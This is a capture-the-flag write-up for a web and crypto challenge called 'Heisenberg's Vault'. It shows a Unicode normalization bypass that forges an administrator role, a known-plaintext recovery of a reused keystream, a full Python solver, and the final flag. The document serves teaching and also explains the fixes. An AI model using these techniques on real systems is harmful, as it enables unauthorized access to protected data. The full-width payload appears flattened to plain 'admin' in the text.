Trending Tags
Heisenberg's Vault
Heisenberg’s Vault
Madrigal Security has detected unusual activity inside one of its secure facilities.
An operator has access to the internal security portal, but their clearance is insufficient to access the highly classified vault.
The challenge combines two vulnerabilities:
- Web authorization bypass through Unicode normalization
- Cryptographic keystream reuse
The intended solution is to first escalate from a normal operator to an administrator, then use information exposed by the diagnostic endpoint to recover the vault’s encrypted flag.
1. Initial Access
The challenge begins at the Madrigal Security login portal.
The provided credentials are:
1
2
Username: madrigal_047
Password: LosPollos47
After logging in, the player receives a normal user/operator authentication token.
The dashboard displays:
1
Role: user
The application uses the following token format:
1
username.timestamp.role.signature
For example:
1
madrigal_047.1750000000.u.<HMAC>
The role is represented internally using:
u= usera= admin
2. Enumerating the Application
The dashboard exposes several API endpoints:
1
2
3
4
5
6
/api/status
/api/profile
/api/token-info
/api/token
/api/diagnostic
/api/vault
The first useful endpoint is:
1
/api/token-info
It reveals information about the token format:
1
2
3
4
5
6
7
8
9
{
"format": "username.timestamp.role.signature",
"algorithm": "HMAC-SHA256",
"role_encoding": {
"u": "operator",
"a": "administrator"
},
"normalization": "enabled"
}
The important clue is:
1
"normalization": "enabled"
This suggests that the application’s handling of role values may be worth investigating.
3. Investigating the Clearance Endpoint
The next interesting endpoint is:
1
POST /api/token
A normal request looks like:
1
2
3
4
5
6
POST /api/token
Content-Type: application/json
{
"role": "user"
}
Trying the obvious privilege escalation:
1
2
3
{
"role": "admin"
}
results in:
1
403 Forbidden
The application responds with an error such as:
1
CLEARANCE REQUEST REJECTED.
At first glance, the endpoint appears secure. However, the source code reveals an important flaw.
4. Unicode Normalization Vulnerability
The application checks the requested role before performing Unicode normalization:
1
2
3
4
5
6
7
8
9
if requested_role == "admin":
return jsonify({
"error": "CLEARANCE REQUEST REJECTED."
}), 403
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
This creates a mismatch between:
- Security Check:
requested_role - Value Used by the Application:
canonical_role
The application first checks whether the original value is literally admin. It then normalizes the value using NFKC.
Unicode NFKC normalization converts compatibility characters into their canonical equivalents. For example:
1
admin → admin
5. Exploiting the Normalization
Instead of sending:
1
2
3
{
"role": "admin"
}
the player sends:
1
2
3
{
"role": "admin"
}
The server first evaluates:
1
requested_role == "admin"
This evaluates to False, because admin is not literally the ASCII string admin. The request therefore passes the blacklist.
The application then performs:
1
unicodedata.normalize("NFKC", requested_role)
which produces admin. The application subsequently creates a token using admin as the role.
6. Why the HMAC Does Not Save the Application
The token uses HMAC-SHA256, so it may initially appear impossible to forge. However, the player does not need to forge the HMAC.
The vulnerable /api/token endpoint generates a valid HMAC-signed token itself.
The process is effectively:
1
2
3
4
5
6
7
8
9
10
11
12
13
Attacker input
↓
admin
↓
NFKC normalization
↓
admin
↓
create_token()
↓
valid HMAC
↓
administrator token
Therefore, the cryptographic integrity of the token is not directly broken. The problem is the authorization logic that decides what gets signed.
7. Obtaining Administrator Access
The response from /api/token contains the newly generated token.
Once the token is used as the authentication cookie, the application recognizes the player as:
1
role = admin
The previously inaccessible endpoint /api/vault now returns the encrypted vault payload.
Conceptually:
1
2
3
4
5
6
7
8
{
"service": "Madrigal Secure Vault",
"classification": "HEISENBERG",
"version": "3.0",
"cipher": "VX-CTR",
"nonce": "U1RBVElDLU5PTkNFLTIwMjY=",
"payload": "azb3WqQl..."
}
At this point, the web portion of the challenge is complete.
8. Investigating the Cryptography
The player can now access:
1
/api/diagnostic
This endpoint exposes diagnostic information about the cryptographic system:
1
2
3
4
Cipher: VX-CTR
Nonce: STATIC-NONCE-2026
Message: <known plaintext>
Payload: <known ciphertext>
The known plaintext is:
1
MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; VAULT MONITORING ACTIVE
The corresponding known ciphertext is:
1
YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW
The vault ciphertext is:
1
azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg=
9. Understanding the Cipher
The implementation uses a custom XOR-based construction. Conceptually:
1
Ciphertext = Plaintext XOR Keystream
The keystream is generated using:
1
HMAC-SHA256 + static nonce + counter
The critical weakness is that the same keystream is reused. This creates the classic problem associated with reusing a one-time pad or stream-cipher keystream.
For the known plaintext P_known and known ciphertext C_known, we have:
1
C_known = P_known XOR K
Therefore:
1
K = P_known XOR C_known
The attacker can recover the keystream without knowing the secret key.
10. Recovering the Keystream
First, decode the Base64 ciphertext:
1
known_ciphertext = base64.b64decode(KNOWN_CIPHERTEXT)
Convert the known plaintext into bytes:
1
known_plaintext = KNOWN_MESSAGE.encode()
Then XOR the two:
1
2
3
4
5
6
7
keystream = bytes(
a ^ b
for a, b in zip(
known_plaintext,
known_ciphertext
)
)
This recovers the portion of the keystream corresponding to the known message.
11. Decrypting the Flag
The vault ciphertext is also Base64 encoded. Decode it:
1
2
3
flag_ciphertext = base64.b64decode(
FLAG_CIPHERTEXT
)
Then XOR it with the recovered keystream:
1
2
3
4
5
6
7
flag = bytes(
a ^ b
for a, b in zip(
flag_ciphertext,
keystream
)
)
Finally:
1
print(flag.decode())
produces:
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
12. Complete Solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
KNOWN_MESSAGE = (
"MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; "
"ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; "
"VAULT MONITORING ACTIVE"
)
KNOWN_CIPHERTEXT = (
"YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW"
)
FLAG_CIPHERTEXT = (
"azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg="
)
known_plaintext = KNOWN_MESSAGE.encode()
known_ciphertext = base64.b64decode(
KNOWN_CIPHERTEXT
)
flag_ciphertext = base64.b64decode(
FLAG_CIPHERTEXT
)
keystream = bytes(
p ^ c
for p, c in zip(
known_plaintext,
known_ciphertext
)
)
flag = bytes(
c ^ k
for c, k in zip(
flag_ciphertext,
keystream
)
)
print(flag.decode())
Output:
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
13. Full Attack Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
HEISENBERG'S VAULT
│
▼
Login as operator
│
▼
Explore API endpoints
│
▼
/api/token-info
│
▼
Discover role normalization
│
▼
Try normal "admin" → 403
│
▼
Send Unicode full-width role
"admin"
│
▼
NFKC normalization
│
▼
"admin"
│
▼
Server signs administrator token
│
▼
Access /api/vault
│
▼
Obtain flag ciphertext
│
▼
Access /api/diagnostic
│
▼
Obtain known plaintext
and known ciphertext
│
▼
Known Plaintext XOR Ciphertext
│
▼
Recover keystream
│
▼
Flag Ciphertext XOR Keystream
│
▼
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
14. Vulnerabilities Used
Vulnerability 1 — Improper Unicode Canonicalization
Root Cause
The application validates the raw input before normalizing it:
1
if requested_role == "admin":
followed by:
1
2
3
4
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
Correct Design
Normalization should happen before authorization:
1
2
3
4
5
6
7
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
if canonical_role == "admin":
...
Even better, authorization should be based on server-controlled roles rather than accepting a role from an untrusted client.
Vulnerability 2 — Keystream Reuse
The encryption follows:
1
C = P XOR K
The same K is reused for multiple messages.
Once P_known and C_known are available:
1
K = P_known XOR C_known
The attacker can then decrypt another ciphertext encrypted with the same keystream.
Correct Design
A stream cipher or CTR-style construction should use a unique nonce/IV for every encryption operation. Never reuse the same keystream for different plaintexts.
15. Why SQL Injection Is Not Part of the Intended Solution
The login query uses parameterized SQL:
1
2
3
4
5
6
7
8
conn.execute(
"""
SELECT id, username, role
FROM users
WHERE username = ? AND password = ?
""",
(username, password)
)
The ? placeholders prevent normal SQL injection through the login fields. Therefore, SQL injection is not an intended attack path.
The challenge is designed around a controlled exploitation chain rather than unrelated vulnerabilities.
16. Why the HMAC Is Not Broken
The HMAC implementation itself is not the intended weakness.
The attacker never needs to calculate:
1
HMAC(secret, malicious_data)
Instead, the application calculates it for them. The problem is:
1
2
3
4
5
6
7
Untrusted role
↓
Normalization
↓
Token generation
↓
HMAC signing
The server is effectively signing an attacker-controlled authorization decision.
Therefore: the cryptographic primitive is functioning correctly; the authorization logic around it is not.
17. Intended Learning Outcomes
Web Security
- Authentication vs authorization
- Role-based access control
- Unicode canonicalization
- Input normalization
- Privilege escalation
- Why signing bad data does not make an authorization decision secure
Cryptography
- XOR properties
- Stream-cipher concepts
- Keystreams
- Known-plaintext attacks
- Nonce reuse
- Why a secure primitive can become insecure through incorrect implementation
18. Final Flag
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
Challenge lesson: The system didn’t need to be hacked in the traditional sense. It trusted the wrong representation of the user’s clearance, then reused cryptographic material in a way that exposed the encrypted secret.
Flag
FLAG{heisenberg_was_not_the_only_one_breaking_bad}